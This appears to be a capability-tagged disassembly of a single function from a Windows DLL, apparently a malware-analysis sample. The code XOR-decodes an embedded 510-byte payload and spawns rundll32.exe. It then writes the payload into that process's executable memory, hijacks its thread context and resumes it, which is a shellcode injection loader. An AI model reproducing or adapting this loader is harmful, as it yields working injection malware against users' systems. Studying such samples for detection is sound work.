Function at 0x180001030
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x5c0
mov rax, qword [0x180004040]
xor rax, rsp
mov qword [rsp + 0x5b0], rax
mov ecx, 0x1fe
inc ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor esi, esi
lea r10, str.__JOHubc_
mov r9d, esi
mov r8d, esi
mov rbx, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x38e38e39
mul r9d
movzx eax, byte [r10 + r8*4]
shr edx, 1
lea ecx, [rdx + rdx*8]
add ecx, eax
sub ecx, r9d
inc r9d
xor ecx, 0xa6
add ecx, 3
mov dword [r10 + r8*4], ecx
mov byte [r8 + rbx], cl
inc r8
cmp r8, 0x1fe
jl 0x180001080
xor ecx, ecx
mov edx, 0x1fe
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rbx
mov ecx, 3
mov rdi, rax
mov r8, rax
nop dword [rax]
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [r8 - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [r8 - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [r8 - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [r8 - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [r8 - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [r8 - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [r8 - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [r8 - 0x10], xmm1
sub rcx, 1
jne 0x1800010e0
movups xmm0, xmmword [rdx]
mov rcx, rbx
movups xmmword [r8], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r8 + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [r8 + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [r8 + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [r8 + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [r8 + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [r8 + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [r8 + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [r8 + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [r8 + 0x7c], ax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x44
xor eax, eax
lea rdx, str.rundll32.exe
mov dword [rsp + 0xd4], eax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800012bb
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov dword [rsp + 0x110], 0x10003
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1fe
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x1fe
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov r8, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x1d8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x5b0]
xor rcx, rsp
call fcn.180001310
lea r11, [rsp + 0x5c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret